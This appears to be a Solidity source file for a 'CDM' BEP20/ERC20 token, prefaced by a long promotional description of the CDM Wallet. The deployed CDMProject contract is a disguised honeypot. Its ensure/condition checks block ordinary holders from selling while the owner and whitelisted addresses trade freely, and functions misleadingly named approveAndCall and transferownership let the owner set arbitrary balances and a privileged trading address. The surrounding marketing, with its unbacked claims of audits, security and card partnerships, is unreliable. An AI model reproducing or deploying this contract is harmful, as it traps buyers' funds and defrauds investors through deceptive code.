/*
What is CDM Wallet?
CDM Wallet is a non-custodial wallet for storing and managing crypto assets across multiple blockchains including Bitcoin, Ethereum, Binance, Tron, Polygon, and so forth. CDM Wallet comes with exclusive benefits and excellent security. 
As DeFi continues to expand like a blanket of cloud over the possibilities imminent in blockchain technology, it is important that the industry introduces crypto wallets that meet with these latest standards to maintain DeFi’s innovative pace. 
As a crypto trader or enthusiast, you may only need a crypto wallet for your daily crypto activities and nothing more. This means that a crypto wallet remains, among many options, your primary gateway to the blockchain and crypto market. 
Think of a wallet as a pouch where you keep all your valuables, if you misplace your wallet, you lose the valuables inside it. So it is for crypto wallets. In this case, all you need is a private key or signatures to access and use it online or offline. For this reason, you must use a well-secure, tamper-proof, and trustless non-custodial wallet like the one offered by CDM Wallet. 
Asides from using solid security and tamper-proof architecture, CDM Wallet offers peculiar offerings, including a native token [$CDM] for incentivized trading purposes like staking, lending and borrowing, and fiat pool swaps, among others.





CDM Token ($CDM)
CDM Token is an ERC20 token and a unique exchange token designed to serve users of CDM Wallet and beyond. It will be used to cover incentives during traders’ and holders’ ride on CDM Wallet. 
CDM Token (CDM) will also be used to maintain the integrity of the network [BSC] used by CDM Wallet. In this case users can participate in staking and liquidity mining through lending and borrowing.


CDM Wallet Offerings and Features

CDM Wallet is bent on setting higher standards in DeFi. Traders can get exclusive access to many liquidity protocols from one standpoint/platform. Some exciting features and product we offer include: 
$CDM Token 
CDM Token (CDM) is one of our primary products that will power our Ecosystem and Wallet. You can easily stake, lend and borrow, and trade cryptocurrencies using this token. 
As a Binance Smart Chain token (BEP20), it’s compatible with the Ethereum Virtual Machine, and allows for cross-chain interoperability. You can also buy NFTs and various crypto assets using the CDM Token. 
CDM Mastercard and Visa Card 
CDM Ecosystem is partnering with two global payment giants—Mastercard and Visa Card to offer intuitive fiat-to-crypto transactions. You can order for a unique Mastercard and/or Visa credit/debit card usable in crypto ATMs around the world to purchase supported cryptocurrencies. 
The CDM Mastercard and Visa Card uses Near-field communication technology (NFC). Using the CDM Mastercard/Visa Card attracts certain benefits, including a VIP discount rate when purchasing cryptocurrencies via CDM approved crypto exchanges. 
NFC Payment 
The world has evolved from traditional ATM-specific credit/debit cards to Near-field communication–enabled cards (NFC). NFC credit/debit cards use Near-field communication technology—a wireless mobile-communicable payment system. All you need is the CDM Mastercard or Visa Card to get started. 
In an NFC Payment system, you just tap the approved screen or environment designed for the transaction, and approve any transaction of choice. CDM NFC Payment system will be equipped to the core to ensure there are no loopholes during any session. 
Seamless fiat & crypto payment 
CDM Wallet will include a fiat and crypto wireless payment system which involves requesting crypto or fiat payment via a “request payment” link, email, or systemized invoice. This is a similar case study with Paypal where you can use email addresses linked to your paypal wallets. 
CDM Wallet will partner with many international traditional and digital wallet banks or payment companies to facilitate swift payment protocol that could reach as many foreign countries as possible. 
CDM Widget
The CDM Widget API allows easy integration of CDM payment protocol for commercial purposes. E-commerce, SMEs, and large scale businesses can use the CDM Widget on their Wordpress or customized websites and applications for seamless fiat and crypto payments. 
Users of CDM Widget-enabled websites can get automatic payments from clients and prospects from anywhere in the world. We made the CDM Widget WordPress-enabled to ensure it reaches many small and medium businesses that do not use custom websites or applications. 
Staking 
CDM Wallet is partnering with Cat Exchange  exclusive staking protocol to provide one of the industry’s finest staking services to its users. 
Catex’s staking API is easy to integrate and supports multi-chain interoperability. Users also have the opportunity to customize their experiences and set staking plans, liquidity pools, and lock-in periods. 
NFT wallet support 
CDM Wallet covers NFT services too. Users can store, manage, and transfer NFT assets on the wallet. 
There will be an aggregation of top NFT marketplaces like Opensea, Rarible, and so forth, within the wallet environment to enable instant cross-platform trading all from one place. 
Lending and borrowing 
Lending & borrowing is one of the various liquidity mining avenues which helps to balance and provide liquidity in a decentralized exchange or protocol. CDM Wallet’s liquidity pool is backed by properly audited and secure smart contracts. 
Users can supply liquidity to the CDM Wallet swap pool and earn applicable rewards and interest rates. Borrowers, on the other hand, do not fear any hiccups when getting loans from the CDM Wallet pool. 
Fiat gateway integration 
Our innovative CDM Wallet supports fiat gateways like Moonpay and Apple Pay for easy fiat-to-crypto transactions using debit and credit cards. The process is non-custodial with no risk of losing funds to vulnerabilities associated with many fiat gateways. 
CDM API and SDK 
CDM Wallet will make available its API and software development kit (SDK) to facilitate easy integration of its white label services on prospective platforms, including B2B or e-commerce websites.
Why Choose CDM Wallet?
There are many reasons why CDM Wallet would sweep you off your feet. Here are some of the essential reasons.
Multi-chain wallet 
CDM Wallet is, before anything else, a multi-chain wallet. A multi-chain wallet is linked to different blockchains and provides the relevant addresses for the token standards of the respective blockchains. 
For instance, a multi-chain wallet allows you to store and manage cryptocurrencies of Binance, Bitcoin, Ethereum, Polygon, Cardano, Solana, and so forth—all in one platform or application. 
You will be provided with the transaction addresses that apply to the respective token standards of the blockchains whitelisted. These addresses can be used to send and receive crypto assets (crypto and NFTs) all the time. 
Multi-chain wallets provide many benefits over single-chain wallets. Some of these may include a multi-sig security model, cross-chain interoperability, and enhanced/faster transaction, among other benefits. 
Cross-chain swap 
Seamless cross-chain swapping and multi-chain crypto wallets go hand-in-hand. CDM Wallet allows users to perform DeFi activities across multiple blockchain networks all at once. 
Cross-chain swap also helps in facilitating additional offerings provided by CDM Wallet, including fiat pool swaps, liquidity mining, and staking. To this effect, users can easily perform any of the aforementioned tasks on different blockchain networks in one platform. 
Staking 
Staking is like saving money in the bank. The difference, however, is very clear. You are actively supporting a network with your assets and being rewarded from the action. However, banks use your savings for black box activities.
Staking is taking different shapes and dimensions following recent innovations in DeFi. We have soft staking and hard staking, which are both provided by CDM Wallet. In hard staking, you consciously lock-up your assets, while soft staking combines both conscious and unconscious efforts targeted at helping network validations. 
Fiat pool exchange 
CDM Wallet also provides exclusive trading of a robust crypto pool using credit and debit cards. With integration of fiat gateway APIs, CDM Wallet will offer users the full-scale option of buying and selling their favorite assets including NFTs, metaverse kits, and cryptocurrencies. 
No KYC 
There is no “know your customer or client” involved. All you need do is download CDM Wallet and set up your security details. All you need is your private key and signup signature. 
Standard security 
The security of DeFi services will always come first before anything else. CDM Wallet takes the security of crypto users to the next level by introducing multiple security measures—all easy to set up and use. 
For instance, you have an option of a multi-signature signup method where you use different security measures including authentication, face ID, fingerprint, and security code, among other available methods. 
Multi-account feature 
CDM Wallet allows users to set up multiple wallet accounts. These accounts are also interoperable and support a wide range of tokens and assets. That is to say, users can create as many accounts as they like or want. They can also hold as many cryptocurrencies as they want within each wallet. Each wallet account will also have the respective features and incentives as all the other wallet accounts. 
Browser extension 
Browser wallets make interactivity within the internet fast and easy. This is why CDM Wallet is creating this feature to enable crypto traders to carry out various DeFi activities on the internet. 

In-wallet dApp browser 
In-app dApp browsers allow users to find latest dApps and updates to enhance interactivity within DeFi. Here you can use or install the latest dApps that meet your various demands within the industry and community in our dApp browser/store. 
Advanced transaction method 
CDM Wallet boasts the latest innovation for sending and receiving crypto payments and transactions. You could send assets using the traditional trading method. Additionally, you could scan the QR Code to perform transactions. 
Cross-platform interoperability 
CDM Wallet is available on macOS, iOS, Android, Desktop, and browser (Chrome). These platforms are also interoperable. That is, you can access your funds or assets both in a desktop and mobile/smartphone dApp. 
Multi-platform interoperability 
CDM Wallet will introduce other top DeFi smart contracts on its platform for easy navigation and interaction by its users. You may not need to leave CDM Wallet to do normal DeFi activities and tasks. 

Industry-approved audit 
CDM Wallet follows the standard auditing measures to ensure its platform meets with the latest and advanced audit protocols, including secure/vulnerability checks and financial trustworthiness. 
As you know, you’re completely in charge of your assets and wallet. CDM Wallet, being a trustless non-custodial wallet, ensures the security of your assets is maintained constantly through regular audits/checks.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract CDMProject {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}